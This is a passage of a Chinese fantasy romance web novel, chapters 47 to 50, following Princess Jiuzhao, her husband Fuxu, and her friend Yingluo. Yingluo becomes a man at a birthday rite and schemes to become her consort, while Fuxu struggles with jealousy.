他唯一的念头只剩下,倘若现在冲去魔界将兰祁杀死,再献出元神将他复活。 九昭是会选择和兰祁一起活着,还是会陪他去死。 …… 扶胥在脑海中演完了一场漫长的爱恨情仇。 回归当下,时间仅仅过去半个时辰。 他失魂落魄地回到离恨天,合衣躺在床上直至外头天光大亮,才逐渐恢复平静。 相比往常迟了一刻钟才起身,他推开殿门,九昭正坐在花园的凉亭间用早膳。 女婢绛玉替她按摩着额头两侧穴位,而缃璧则随侍在侧,时不时夹起小菜放进她碗里。 “你也喝多了吗,竟然比我起得还晚。” 难得见到仪容不整的扶胥,九昭笑着调侃他一句,又吩咐女婢们多添一副碗筷。 扶胥沉默坐了过去。 他同九昭面对面用膳,碗里的牛乳米粥熬煮恰到好处,最是暖心暖胃,他却食不下咽。 察觉到微妙的不对劲,九昭亲手倒了杯茶递给他:“你这是怎么了?看起来怎么这么萎靡不振——难道是我昨晚酒醉失态把你给吓着了?” 苦味浓郁的清神茶入口,扶胥的唇角才勾起一点足以蒙蔽人的浅弧:“没什么。” 见对方又变成了谜语人的样子,九昭心底有些不适。 但想到一炷香前绛玉所说的“是扶胥上神将您抱回来,照顾了一整夜”,她又悻悻摸了摸鼻尖,无声猜测着,莫不是自己酒醉将他当成了滢罗,说了些不该说的难听话? 越想越觉得有可能,她试探着问道:“昨天我失去意识以后,是滢罗让你来找我的?” 扶胥微微摇首:“在璇玑宫久等你不来,便循着气息找了找,见你和滢罗都醉在廓清池。” 看来十有八九是她酒后失态了。 在兰祁没有悔婚将她抛弃前,九昭喜欢热闹,经常在离恨天举办宴会。 作为人群的焦点,自然少不了喝酒。 从兰祁的简言,朱映的抱怨,以及绛玉缃璧她们的欲言又止里,九昭知晓自己的醉相不好。 不管是撒泼打滚,胡乱说话,还是醉了又睡,睡了又醒,都让人十分头疼。 大概麻烦了扶胥一个晚上,九昭有心弥补,便沿着石凳的排布一路屁股挪过去,挪到青年身边,讨好地挽住他的手臂:“阿胥,你生辰和滢罗同月,都快到了,可有想要的礼物?” 扶胥还是摇首:“不必太过在意,我在外征战五百年,耽搁了不少军部庶务,如今内伤已大好,我打算过几日就向帝座请命,开始巡察各地军防情况,生辰能不能回三清天尚不知晓。” “啊,又要开始忙了吗?” 闻言,九昭难免沮丧。 身为战神,统管三清天大小军事,扶胥的忙碌众人有目共睹。 否则,他的住处辟蒙宫也不会显出主人长久不在的萧索。 从前感情不到位,九昭并不上心,如今情到浓时,她怎舍得他离去。 扶胥耐心哄劝她道:“你也知晓,帝座缺乏联姻助力,四方各部时常不太平。” 说着,他又状似无意提起,“你同我成婚已有五百年,可想过这方面的事?” 当着女婢仙仆的面,九昭差点就要脱口而出自己本就没兴趣当这个神帝。 她止住徘徊在嘴边的话头,尴尬地吐了下舌尖道:“罢了罢了,男人多了也闹腾。” “哪怕殿下将来真的迫不得已,臣也不会介意,愿意同那些侧妃夫侍好好相处。” 扶胥又用上了君臣之间的称呼,他满脸说正事的表情,叫九昭的呼吸一顿。 这是发的哪门子疯? 好端端的,干嘛摆起贤夫良父的架子。 什么他日迫不得已娶侧妃夫侍—— 和人成婚过一辈子,这样大的事,她岂能被心意以外的事左右?! 九昭想破头也没想出来,开始问起的想要什么礼物话题,会演变成为讨论将来娶几个妃子。 她小脸一黑,再度申明自己忠贞如一的婚恋观:“少说这种无聊的话题,既然我父神能够坚持一生只有母神一个妻子,那我也不会让自己的心意变得七零八落—— “你还不明白吗?我只要你。爱对我而言,就是同生共死,一生一世一双人。” 爱这个字,仿佛说得多了,大脑就会剥离甜蜜的薄弱外衣,自动免疫。 扶胥的内心重复着“同生共死”这个词语。 他看见灵魂深处,那个失意不安的自己,将身体蜷缩得更紧。 了然而无望的叹息过后,扶胥的脑子里甚至冒出了笑的声音。 她用命换取了他的生。 却选择和兰祁一起死。 是啊,这就是所谓的、同生共死的,一生一世一双爱侣。 47| 第47章 ◎“殿下当我是朋友,臣真的好高兴——”◎ 九昭最近多了点烦恼。 原因在于, 成为天仙让她的风评好了不少。 可随之而来的,还有无法继续躺平的义务。 纵观三清天的在位天仙,除却特殊原因, 无一不掌握一方要职。 九昭也不能幸免。 与其躺到最后, 被父神强行安排职务,不如主动出击。 九昭打从长烨学宫修完课业起,就没出过离恨天。她将想找个差事做的念头同朱映一说,朱映倍感欣慰, 立即为她罗列出三清天大大小小的所有官署,并问她对哪个领域更感兴趣。 仔细思考过后,九昭发觉, 好像还是军队这种只靠武力,不搞脑子的地方更适合自己。 她把决定告诉朱映,再由朱映上达给神帝。 神帝听完倒是十分高兴。 他唤来了九昭,先是肯定一番九昭连日来的进步, 最后摸了摸她的脑袋, 同她推心置腹地说道:军队是扶胥掌管的地方, 这样一来,她的夫婿今后也会成为她的上司。为了表达夫妻间的尊重, 在自己下达天令之前, 她最好提前跟扶胥知会一声。 其实就算神帝不说,九昭也想到要和扶胥谈谈。 只不过时机不凑巧, 扶胥因对神境有了新的勘悟, 最近都在闭关, 甚少从侧殿出来。 神仙的一生, 都在追求修行。 修为如逆水行舟, 不进则退。 因此哪怕晋升上神, 也得不断重复参透天道、参悟己心的过程。 这是好事,九昭自然不能阻拦扶胥。 遍寻机会不得,她只能安慰自己,任职之事终究不太要紧,迟个一年半载加入也来得及。 滢罗之后,就是扶胥的生辰。 准备礼物,才是迫在眉睫。 九昭最近频频造访神匠局,汇聚了数位资深匠仙,终于绘制出了扶胥生辰礼的图纸。 她的想法很简单。 扶胥出门在外,不是在征战沙场,就是在视察军务的路上。 他说了神帝不肯联姻,导致有些身处一清天的部族私下小动作不断,隐隐有些不太平——对于武力值足够高的人而言,最贴心的就是拥有一件防御力也够用的法器。 贴身穿着的鲛纱软甲,就是九昭打算送给扶胥的礼物。 她在图纸上罗列出来的制作材料,令仙匠们感到咋舌。 其他的不提,其中最珍贵的便是扶胥神木的圣花、西海的秘宝鲛纱、以及凤凰族的本命翎。 圣花能够增加软甲的韧性。 鲛纱既显得美观,又刀枪不入,水火不侵。 而本命翎,则有守护元神,抵消一次致命攻击的作用。 凤凰族已在三清天销声匿迹,没错,这根本命翎来自九昭的真身。 每只凤凰的身上,都有三根本命翎。 一根在成年之际,反哺给凤凰树,作为血缘的连接。 一根献给伴侣,象征终身的许诺。 剩下最后一根,则作为底牌保命。 原本由凤凰族掌控的南陵已被分给琼英王,九昭不必再进行反哺的仪式。 她甚至为此感到高兴。 若不是本命翎对于己身之外的旁人,只能生效一次,她拔掉两根献给扶胥又有何不可。 担心扶胥知晓真相,会拒绝接受这件礼物,九昭下了旨意,一切知情者都必须保密。 她像是吝啬分享的恶龙一般,将好不容易搜罗的材料一一藏进寝殿的机关格中。 接着,为了获得鲛纱,又动身去了趟西海。 西神王封地的宫殿与其他神王不同,不在陆上,而静静悬浮在海床深处。 将滢罗赠予的礼物润霖胆挂在胸前,九昭身入海流,自在呼吸,行动间如履平地。怀着一点等下方便开口的隐秘想法,这次她还穿上了那件束之高阁许久的珍贵鲛衣。 裙裾漂浮,荡开绮丽的亮色,流银般的浅光照亮冰冷海底。 九昭穿过隔绝海水的结界,再一转眼,已被得讯等候的女婢带领,前往滢罗的宗姬邸。 授阶仪式结束后,滢罗失去了逗留在二清天的理由,便回到西海准备起自己的生辰宴——此时距离宴会还有将近小半个月,得知九昭突然到访,滢罗免不了有些惊讶。 惊讶之外,更多的是高兴。 她将九昭迎进正堂,请九昭坐在主位,自己则命人搬了把椅子,坐于她的就近下首。 “未知殿下光临,臣实在有失远迎。” 说着话,堂外女婢鱼贯而入,奉上九昭爱喝的百花牛乳蜜茶,以及各色小吃糕点。 “殿下此次前来,是打算先在西海住下,然后参加生日宴吗?” 滢罗一瞬不瞬望着九昭,在触及九昭身上的鲛衣时,目光更是不加掩饰地亮了几分。 待女婢将茶水点心放下,她又亲自端起茶盏,递到九昭的手边。 面对滢罗因误会生出的热情,九昭略显心虚。 她这个马上过生辰的人的礼物,自己还没想好送什么。 却要为了给扶胥的贺礼,叫她献上西海鲛纱。 不过,来都来了。 九昭轻轻咳嗽一声:“我有事同你说,你先叫这些人都下去。” 两人独处,滢罗求之不得,立刻应是。 刹那,正堂内静默旁立的仙仆走了个精光,还贴心地将大门关上。 确保消息不会外泄,九昭这才启唇:“我想同你交换件东西。” “什么东西?” “西海的秘宝鲛纱。” 滢罗的面孔平静如旧,却没有第一时间应下,只是笑着询问:“殿下要这鲛纱有何用?” 九昭下意识瞥了眼她。 换做以前,哪怕真的有求于滢罗,她也不会告诉滢罗自己的目的,以免计划被拿来利用。而现在,经过廓清池畔的交心,她虽忘记后半段说了什么,但已默认将滢罗重新归入朋友的阵营。 借完鲛纱,她还打算问问那日的情形。 便老老实实告诉滢罗:“我想给扶胥做件防身的软甲,材料需要用到鲛纱。” “臣记得,扶胥上神的生辰就在臣的生辰之后几日——殿下是想要送给上神生辰礼?” 滢罗言简意赅的两句话,把九昭语境缺失的部分填补了个完全。 九昭不善说谎,硬着头皮道:“是,当然,送给你的礼物本殿也有在准备。” 闻言,滢罗缓缓弯起眼睛:“承蒙殿下对臣如此用心,臣真是不胜感激。” 念头在脑海转过一圈,九昭紧急思忖着倘若滢罗追问礼物为何,是说送她华服、珠宝、珍玩还是什么其他东西。她略显紧张地盯着滢罗,殊不知这副眼梢发虚的模样早已被滢罗看清。 过去兰祁在时,她满心满眼都是对方,总是无意识忽略身边所有人事。 忽略的对象包括自己。 包括总是眼巴巴凑过来挨骂的其他同修。 也包括,成天寻衅吵架,实则背地窃喜的,她的二妹潮华。 “真不知道那个跟屁虫兰祁有什么好的。 “怎么九昭殿下就对他这么特别,前头斥责了他,转眼又忙不迭地去哄他—— “就因为他是男子吗? “我若变成男子,殿下会不会从此也多看我几眼?” 潮华说者无心的酸言酸语提醒了她。 她开始在策划赶走九昭身边所有的同伴之后,又刻意地与她拉远距离。 只求女身的形象在九昭心间逐渐淡去。 潮华已经在情敌和神王储位的争斗间落败,被她驱逐到了西海最偏僻的边境。 接下来,只剩最后一步。 收起喷涌而出的晦暗感情,滢罗又装作为难地说道:“需要最高品质的鲛纱,可能短时间内有些难办。其实,殿下身上这件臣进献的鲛衣,所用原料便是最顶级的,殿下何妨将它拆了。” 闻言,九昭顿时拧起眉峰。 对方都这样提议了,显然是不在意礼物的完好与否。 她都不在意,自己有什么好在意的。 可—— 九昭迟疑着低下头:“这是你送给我的礼物,其中蕴含着你的心意,就算是翻遍三清天都找不到品质更好的鲛纱,本殿也不该、不该拆毁朋友的心意……” 最后几个字,本想放在心底,九昭也不知自己为何会莫名其妙说出来。 等回过神来,她脸色猛地涨红,侧过下巴,借助冷哼缓解赧然情绪,“罢了,扯那些有的没的干什么——你且说说看你想要什么,只要能够交换鲛纱,本殿拥有的东西都可以给你。” 她不自在地抱着双臂,却不敢把头转过来,只竖起耳朵,留神着滢罗会回答什么。 等来等去,时间流逝,迟迟等不到答案。 唯余耳畔明显加重的呼吸,昭示着滢罗的不平静。 “?” 这是怎么了。 她清楚鲛纱对于西海而言十分珍贵,但不借就不借,至于这么大反应? 疑惑的驱使下,九昭暂时放下害羞,想要把头转回去。 可身旁的变化比她的动作来得更快。 有什么东西正在急速靠近—— 一阵极细微的“啵”声伴着相贴的肌肤响起。 柔软微凉的触感,和常年萦绕在滢罗身上的香气,一起被九昭的六觉感知。 自己。 自己的脸被被被被被被被被滢罗亲了一下?! 九昭大脑彻底宕机。 滢罗擦着她耳廓发出的声音却仿佛欢喜到了极致: “殿下当我是朋友,臣真的好高兴—— “殿下,既是朋友之间,又何须提什么交易?” …… 而有时,命运就是那么喜欢恶作剧。 在九昭前往西海的一个时辰后,侧殿的大门敞开,扶胥出关暂憩。 他早已辟谷,但为迁就九昭,养成了每日午晚两餐的习惯。 坐在膳厅的檀木桌前,他静候九昭前来一同用膳。 “那个,上神是在等神姬殿下吗?” 将盛满饭的玉碗放在扶胥手边,绛玉挠了挠额头道,“殿下去西海找滢罗宗姬了,一炷香前传来消息,说用了午膳再回来……殿下她没跟您说起吗?” “可知殿下拜访宗姬所谓何事?” “这个,奴婢不知—— “不过殿下昔日和滢罗宗姬为闺中密友时,就常常前往西海作客,宗姬的府邸中还特别为殿下建造了一处住所,如今重修旧好,料想彼此来来往往皆是寻常。” 指节拢住碗沿,无声用力直至泛白。 扶胥注视着对面空荡荡的座位许久,才镇定开口:“知道了。” 48| 第48章 ◎“殿下,臣在。”◎ 性格粗枝大叶的神姬出游忘记带上王夫。 而王夫久等其用膳不来, 从贴身仙侍口中得知情况。 这些在绛玉看来,都是小事。 三五天后,她倏忽想到这茬, 才同九昭说起:“殿下, 您去西海的事,是不是没同扶胥上神说过,前几日用午膳的时候,上神等了好久没等到您, 还询问了奴婢呢。” “哎,那会儿他在闭关,本殿给忘了——” 九昭一拍脑袋。 坏了, 自己做事顾前不顾后的毛病又犯了。 “不过您放心,上神只是随口问了两句,并没有生气。” 察觉到九昭表现出来的淡淡懊悔,绛玉立刻柔声安慰。 九昭严肃面色:“下次我若还是忘记, 你可一定要记得提醒。” 从前自家主子一声不吭出门消失, 惹得离恨天大乱的例子不少, 绛玉没想到她会如此在意这点忘记和扶胥事先说起的过失,她虽不理解, 但觑见九昭表情, 便也郑重态度,颔首应诺。 绛玉退下后, 九昭在屋里踱起步来。 为扶胥准备生辰礼的事, 她连朱映也没告知。绛玉素来嘴快, 一无所知就不会有说漏的嫌疑。不过, 为着滢罗, 她和扶胥过去常有摩擦, 如今好容易彼此没了心结,总该略作说明。 九昭又耐心等了几日,方等到扶胥出关的间隙。 他们坐在一起,共进晚膳。 挑挑拣拣将一半原因拿出来,九昭同他解释:“我不是故意不告诉你我要去西海的,那天走得匆忙,一时忘记了。不过,也没什么要紧事,就是想问问滢罗我醉到不省人事以后的情况。” “那现在问清楚了吗?” 果如绛玉所言,听见滢罗的名字从她口里冒出,扶胥并无任何特别反应。 他的语气寻常依旧,甚至透出几分通情达理的温和。 看来真的没生气。 九昭舒了口气,笑着点头:“都问清楚了。” 她顿了顿,心思生出几分忸怩,想告诉扶胥过去都是自己错怪滢罗,现在她们和好,重新变成了朋友。坐在对面的青年,却无视她意犹未尽的表情,也跟着一笑:“那就好。” 扶胥放下碗筷,神光在掌心凝聚,最后化为一个精致的锦盒。 隔着圆阔桌面,他将锦盒推到九昭手边,“勘悟神境在即,接下去我要连续闭关几日,滢罗宗姬的生辰宴不一定有空前去,这是我准备的贺礼,还要麻烦你赴宴时替我代为转交。” 九昭打开锦盒一看,是块蕴着水系仙力的玲珑玉璧。 这礼物说不上差,但也实属寻常。 毕竟有身份地位的神仙们,特别是女仙,过生辰最常收到的就是玉佩首饰。 她覆手一划,将锦盒收进储物戒里,继续闲聊:“说来真奇怪,神仙们的生辰宴都是逢五千岁一小办,逢万岁一大办,滢罗既非五千岁,也非万岁整,也不知这场宴会算是什么名头。” “你去西海时,滢罗宗姬没说起吗?” 和九昭的好奇相反,扶胥的询问仿佛没话找话的搪塞。那种漠不关心的态度,哪怕不曾明说,她也感觉了出来。许是勘悟神境太累,管不了其他吧—— 更何况,滢罗说到底只是个外人。 九昭有些讷讷:“没说起,可能是为了庆祝她晋升天仙吧。” “我也这么认为。” 扶胥以简短的几个字,结束了这场有关滢罗的对话。 他将礼物推过来后就没再用膳,此时取过女婢奉上的帕子擦了擦手指。 这明显要起身离开的预兆,惹得九昭即刻出声挽留:“等等——” 擦拭的动作不变,扶胥缓缓抬起眼睛:“还有什么事吗?” “等我赴宴回来,想把廊下的极乐鸟放归北境,你能不能抽空陪我去?” 放归极乐鸟,只是个引子。 既已取得鲛纱,那件贴身穿着的软甲用不了多久就能完工。九昭想挑个只有他们二人的时间地点,送上精心准备的礼物,顺道把最近没空说的话都好好说一说。 她眼巴巴望着扶胥,神姬的骄矜不复。 像只毛茸茸的小狗,有看不见的尾巴在身后热烈摇晃。 如此可怜、可爱。 ……可惜。 对方表现得越是依恋甜蜜,扶胥的心口就越是漫上一阵隐痛。 他定定地注视九昭片刻,视线又像是透过她,看向了渺茫的未知之地。过后才轻声同她解释缘由:“抱歉,我现在不能马上答应你,勘悟神境这种事,谁也说不好什么时候才能结束。” 话音未落,失望的情绪已将九昭吞没。 前番数度为扶胥辩解,眼下她却难以接着自我开导。 她又不是没见过陷入热恋的仙侣,那些人成日同进同出,恨不得连洗澡如厕都黏在一起。 怎么扶胥正式和她确认关系,还是这副无欲无求的模样。 不似恩爱夫妻,就连和仙阶考试前,都有几分明显的差异。 算了。 爱一个人,总要相互包容。 今后还要相守万万年,总不能时时刻刻皆是热情甜蜜—— 最终,九昭又用“爱”这个字眼说服了自己。 “不管怎么样,一定要赶在你的生辰前,我还有重要的事和你说!” 她半是祈求半是强迫地看向扶胥。 仿佛被她的情绪感染,扶胥终于点了点头。 …… 常曦殿后苑的花苞从开放到衰败,神仙漫长的生命里,不过眨眼的几日迅速流逝。 扶胥依旧忙着闭关,与九昭越发少见。 而滢罗那热闹的生辰宴,则如期到来。 待九昭妆饰完毕,抵达西海时,神王宫内已是高朋满座。 上神、三神王、天仙、金仙,以及几位同滢罗有过交集的地仙……三清天排得上名号的神仙来了一大半,负责将贺礼搬入库房的数十位侍从穿梭在廊下,队伍俨然如同一条长龙。 驻辇如云,瑶筵列前。 往来之间,言笑晏晏。 的确是前所未有的盛大。 光看西神王选择神王宫作为举宴地点,而非滢罗的宗姬邸,足可见对她的重视程度。 九昭下了云华曳曳的天辇,身后煊赫的神姬仪仗立即跟上。 她此行前来,不仅仅是赴宴的尊贵宾客这么简单,还要担负起行“簪鳞礼”的职责。 滢罗为鲛人。 簪鳞礼则是他们种族独有的,针对未婚者的祈福仪式。顾名思义,就是要将旧年褪下的鳞片制成长簪,再在生辰到来时,由他人插入发间,以表积德积福。 若不举办生辰宴,插簪者多为父母亲长。 若举办生辰宴,则需邀请席间身份最高之人进行。 代表神帝的九昭,是无可争议的身份最尊者,上回前来西海时,滢罗就曾真心向她请求过。 随着雄浑礼乐的奏响,宴会正式开始。 宾客按照位序入座,滢罗则笔直跪坐在大殿前方高起的寒玉台上,面前放有一座华美镜架。 她目光悬而静止,一瞬不瞬望着铜镜中自己柔婉的女性面容。 分属四方的赞者,随即唱起鲛人族古老的颂歌。 九昭就在这如同海潮阵鸣的歌声中,缓步登上寒玉台。 再从身着轻盈纱袍的女婢手上,取过样式古怪的长簪。 长簪通体颜色为渐变海蓝,簪身到簪尾的部分雕刻出鲛人族的神祖,一体双/性/的禺风。 鲛尾缠绕的簪身被九昭握在指间,那层层叠起的鳞片边缘锋利,纤毫毕现。 借着广袖的遮挡,她小心翼翼避开割手的部分,心中百无聊赖地腹诽:这鳞片薄硬得像是刀子,哪里适合当成首饰簪在发间,用作凶器伤人还差不多。 “殿下,请。” 女婢却唤回了她的走神。 于是,在越发空灵高渺的歌声中,九昭立在滢罗背后,缓缓抬手,将长簪斜插入她的发髻。 两息过后,女婢口中迸发出一道清亮喧声:“礼成!” 宾客们也随即开始抚掌庆贺。 可九昭还不能走。 她一面望着镜面映照的滢罗容颜,一面背诵起对她新岁的冗长祝福。 一心分成两半使用。 九昭的嘴唇机械性地一张一合,目光却在四处流转。 她这才注意到,滢罗的着装也透着古怪。 过往,她虽不爱婀娜娇艳,但也打扮得合乎宗姬仪制。 今日,她却穿了一件宽大长衣,不系绦带,通身毫无装饰,唯有面孔绘制着点点荧闪细鳞。 布料挡住属于女性的曲线轮廓,乍一看,倒仿佛男生女相的美男子。 这是西海当下时兴的样式吗? 她也并非没有参加过鲛人仙族的生辰宴,似乎无人是这般装扮…… 九昭正疑惑着,那插在滢罗发间的长簪倏忽亮起一缕仙光。 仙光逐渐扩散,占据了九昭眼前的景象,亦将滢罗的身躯尽数吞没。 澄明的圆镜中,唯余一片深邃蓝色。 这唱的又是哪一出? 被过于刺目的光亮笼罩,九昭下意识抬起左手挡住双目。 不知过去多久,她倏忽听见台下的宾客席间传来一声惊呼:“滢罗宗姬——” 某种怪异的感觉震颤着五感。 后颈的肌肤顿时浮起无数细小颗粒。 九昭徒手抹去堆积在眼尾的生理热泪,睁大双眼朝光源看去。 曲线消退。 身量拔高。 柔美的面孔精致依旧,却因轮廓的改变而增添了几分前所未有的英气。 “滢、滢罗……” 九昭彻底结巴起来。 一道源自成年男子的回应,却以密音的形式传入她耳里:“殿下,臣在。” 49| 第49章 ◎“殿下喜不喜欢臣如今这副模样?”◎ 滢罗给的这一“惊喜”过于巨大。 以至于处在极度震惊情况下的九昭, 忘记了自己后续究竟是怎么度过生辰宴的。 她仅仅记得簪鳞礼结束,流戈王喜气洋洋地宣布滢罗化作男身,名字改“滢”为“瀛”—— 从此以后便是西海的世子。 四神王分辖一清天东南西北四方, 本就享有极高的自治权。 自行册立未来继承人这件事合乎规矩, 只要在事后上一道表向紫微宫奏明即可。 但这些已经不是最重要的了。 眼见宴上滢罗,不,变成青年模样的瀛罗与众仙一一碰杯,相谈甚欢, 九昭只觉神志恍惚。好容易捱到宴会结束,她将对方一把拉进旁边的无人偏殿,问道:“你到底是什么情况?!” 面前的青年, 还是那副温柔端庄的性子,仿佛除了性别以外,没有任何变化。 他好脾气地拉住九昭手腕,笑着反问:“殿下喜不喜欢臣如今这副模样?” 低于常人的体温触及肌肤, 这同性好友间时常发生的拉手动作, 却引起了莫名的战栗。 九昭打了个激灵, 果断摇头:“女孩子多好!” 一些不合时宜的回忆,随着身体的本能反应涌现脑海。 比如少年时期, 她们曾一同游水嬉戏, 玩闹过后在离恨天的浴池里共浴。 比如每逢六日一次的休憩时光,她们总会秉烛夜谈到天明, 而后毫无顾忌地睡在一起。 …… 这些事对于同是女子自然算不了什么。 可当其中一名女子变成男人, 就突兀变了味道。 没等瀛罗说些什么, 九昭的脸率先涨了个通红, 一把拍开他的手。 “没有本殿的允许, 你为什么要变成男子?” 更改性别, 并非心血来潮的兴致,瀛罗早已同西神王筹谋许久。 此刻得闻九昭质问,他不慌不忙回答道:“殿下恕罪,臣虽为嫡出,但几个异母兄弟姊妹同样优秀出众,若不得一门好姻亲,只怕臣这继承者的位置也难以坐稳。 “当下放眼整个三清天,同臣门第身份相当的男子太少,反倒是适合的女子颇有几位……所以,为了方便成婚嫁娶,臣同父王商议过,决定变为男子。” 在信奉感情至上的九昭脑子里,没有联姻巩固地位这一选项。 她怎么也没想到“滢罗”变为“瀛罗”背后的真相,竟然这般赤/裸/而现实。 她被青年的无奈言语说服,但仍然觉得可惜:“你成了男子,那我们以后——” 话断在这里,没有继续说下去。 只因瀛罗倏忽弯腰凑近身体,泛凉呼吸轻轻拂在她的鼻尖。 九昭呆呆地望着这张,和祝晏并称为“双绝”的清隽面孔越凑越近,大脑一时变成空白。 片刻后,她本就发红的脸,热胀到能够烫熟鸡蛋。 实在是、实在是有点犯规—— 彼时同为女子还好,她虽惊艳于对方的美貌,但也只是站在欣赏的角度。此刻,女伴变作青年,性别的差异放大了那股吸引力,惹得胸膛内的心脏,忍不住扑通扑通跳个不停。 九昭清楚地知道,这是身为颜控的自己,面对美色下意识出现的身体反应。 她有些窘迫,用手撑住瀛罗的肩膀,试图拉开彼此距离。 瀛罗却纹丝不动,甚至反扣住她的手腕,将她抵在胸膛和墙壁间:“殿下别动。” “诶?” 竟敢如此无礼。 偏头避开视线,则有可能会碰到对方的肌肤,九昭只能维持着这个僵硬的姿势,而后看着瀛罗的面孔再次凑近,水色目光却略过她的双眼,瞥向旁边。 另一只空闲的手出现在余光里,骨节清瘦,洁白如玉。 它探向发髻下方披散的部分,极快极轻地擦过耳廓,在即将取下什么之前,又垂了下去。 “怎、怎么了吗?” 如此古怪的动作吸引了九昭的一部分注意力。 瀛罗摇首:“臣方才看走了眼,还以为有灰尘落在殿下发间,不成想是首饰上的米珠。” 说着,他后撤脚步,回到臣子应遵守的安全范围内。 原先似有若无的暧昧氛围,亦跟随瀛罗的远离无声消散大半。 九昭心头微妙的别扭感一下子褪去不少,她未做他想,还以为瀛罗在同自己玩笑,不由得瞪去一眼:“什么灰尘米珠的,少拿本殿取笑——你可别以为成了男子,本殿就打不过你!” 青年连忙求饶:“是是是,殿下天纵英明,小臣又怎敢无端挑衅。” 一通插科打诨,仿佛又回到了亲密无间的往昔。九昭又开始关怀起自己这位好友,前面所说的人生大事:“所以,你是看上了哪家女仙?才会为了她不惜换一个性别和身份。” 瀛罗抿唇,笑而不语。 从他的角度看过去,九昭发间被他称作“灰尘”的异物仍然存在。 那是一绺合抱的藤蔓,细蛇一般藏在黑发的最隐匿处,顶端开着朵米珠大小的重瓣紫花。 瀛罗博学广闻,察觉出这花有监听作用,又拟的是扶胥圣花的姿态,源于何人不想便知。 他在心中冷笑看起来人模人样如扶胥上神,也会使出这等不入流的把戏。 爱则生忧,忧则生妒。 既见扶胥对于九昭的在意程度加深,他也不能再继续奉行一开始的循序渐进计划——须得通过别的手段,加快速度来到九昭的身边,顺便破坏他们的关系。 思忖及此,一个念头迅速萌生。 他故作神秘,生等着九昭失去耐心,拍打催促自己,才问:“殿下还将臣当做朋友吗?” “……明知故问。” 九昭没好气地翻了个白眼。 “那臣就同殿下说说心里话吧。” 见势,瀛罗摆出发愁姿态,“其实臣并不想早早成婚,只不过父王待在神王的位置太久,他又生性喜好玩乐,想择个合适的人选交付肩上责任,所以才会一直催促臣确定婚事。” 先成家后立业,是西海的传统。 唯有将自己的后院门庭平衡好,才能对治理更大的疆域信手拈来。 九昭出入西海的次数,远比出入其他三地来得多,是而对于这等习俗也有所耳闻。 “所以呢,这跟本殿是否将你当作朋友有何关系?难不成你想让我帮你介绍对象?” 她的两只眼睛透出清澈的茫然。 “……” 偶尔,瀛罗也会对心上人的脑回路感到无语凝噎。 他的嘴角微微抽动一下,紧接着,换上更无辜真诚的笑意:“不如殿下帮帮臣,将臣迎为侧夫,这样一来,臣既能完成父王交代的使命,也能借助殿下的力量坐稳西神王的位置。 “有臣在,今后西海上下,无不听任殿下号令。” 瀛罗的话说得颇有技巧。 他没有从自己的心意出发,还模糊了婚姻中的感情因素,只将其扭曲成好友间的互帮互助。 九昭却立刻摆手拒绝:“这怎么行,本殿已经有了扶胥——” “可历任神帝不都娶了好几位神妃吗?” 瀛罗压抑着感情,继续用一种柔软无害的眼神望着她,“更何况,臣并非向殿下索求爱意垂怜,只是纯粹的合作关系,婚后臣会常居西海辖地,殿下只将臣当做一个摆设就行。” 摆设,这更离谱了。 简直不尊重他,也不尊重自己。 九昭不假思索说道:“你别再提了,此事行不通,就算本殿同意,扶胥也不会——” “不会同意”四个字,九昭只说了两个字就紧急刹车。 一道来自内心深处的声音幽幽提问:他真的不会同意吗? 明明不久前扶胥才传达过,他不会介意,会同她的三宫六院好好相处的想法。 正是这须臾的不确定,为瀛罗创造了趁虚而入的机会。 他观察着她陷入阴霾,一瞬皱起又装作若无其事飞快舒展开的眉眼,再次用商量的口吻试探道:“扶胥上神真的不会同意吗?殿下不如回去后问一问上神的想法—— “毕竟臣也曾在军中效力千年,知晓上神从来尽职尽责,以捍卫三清天为己任,早就将儿女情长置之度外,否则当年也不会在仙将齐全的情况下,还要亲自奔赴仙魔边界,驻守五百年。” …… 离恨天,侧殿。 再也听不下去的扶胥屈指一捻,那连接圣花的神光如同被捏碎的泡沫般,迅速湮灭在指尖。 他将双手放回两侧膝盖,企图继续进入打坐入定的状态。 那灵台中经过几月合修,好不容易才恢复平和的神境,却再度剧烈波动起来。 他倏忽开始后悔起,自己为何要提前掐灭神术。 面对瀛罗的引诱,九昭又会回答些什么。 依照神树破灭前,从发间“米珠”到迎娶侧夫的话题跳跃,他反复告诫自己,瀛罗都是因为发现了那朵偷偷放在九昭发上的扶胥花,才会故意抛出这个条件,好借此挑拨他们之间的关系。 可醋妒、嫉恨、杀意、爱恋、占有欲…… 这些阴暗肮脏的感情,依然如同夜晚上涨的潮汐般,顺着他的肌肤一点一点淌了出来。 过度的情感,易生执念。 过度的执念,又会变成无穷的心魔。 一刻不停地默念着静心诀,扶胥强迫自己不再去联想西海那头,可能发生的一丝一毫。 然而闭上眼,九昭以命换命的场景再度清晰重现。 她陪着兰祁死了。 唯独留下自己一人。 若真的只要自己,为何爱侣同生共死的誓言没有在身上应验? …… 无法确定的答案成了扶胥的执念,又即将成为他的心魔。 温热的液体自喉管迅速攀升,一阵轻微的噗嗤气声过后,他品尝到了腥甜的滋味。 无论九昭爱与不爱。 他只知道,自己快要变成一道魔障。 50| 第50章 ◎“您若将他迎进离恨天,臣心中唯有高兴。”◎ 瀛罗的话, 给九昭出了个难题。 问,还是不问。 在纠结之中,她时而认为此事自己做主回绝就可以了, 无需询问扶胥的意见。时而又觉得瀛罗的意图先放在一边, 借助这件事,她可以试探下扶胥的想法,看他是真不在意,还是装大度。 最后她警告瀛罗赶快打消这个念头, 且不许同任何人提起。 便转身回了离恨天。 …… “殿下,扶胥上神他……他回了辟蒙宫。” 才踩着天辇的脚踏落地,听见缃璧支支吾吾的禀告, 九昭傻了眼。 脑袋发蒙,一时转圜不过来,她脱口而出:“可知是何原因?” “上神说这离恨天为了方便您修行,处处蕴有精纯赤火之灵, 他本体为木, 本就不喜欢火属, 待在这里,勘悟神境总是进寸缓慢……所以就, 就先回去了。” 扶胥的借口找的确实光明正大, 无可挑剔。 奈何使用的又是不告而别这一招,用脚指头想想就明白他醉翁之意不在酒。 缃璧边说, 边悄悄觑着九昭的面色。 见她面孔逐渐褪去表情, 眼中压抑暗火, 便知她已猜到什么勘悟神境, 只是避着她的托辞。 九昭一旦发怒, 日子难过的便是她们这些仆婢。 缃璧斟酌着言辞, 想要安抚她的情绪:“殿下、殿下,您别生气,许是上神——” 却被九昭漠声打断:“他如此追求修为进益,是三清天幸事,本殿有什么好生气的。” 语毕,她留给缃璧一个背影,提着裙摆快步回到寝殿。 …… 说不生气,当然是假的。 只是九昭想破头脑也没想出来,自己到底是哪一点做错了,才惹得扶胥换了副态度。 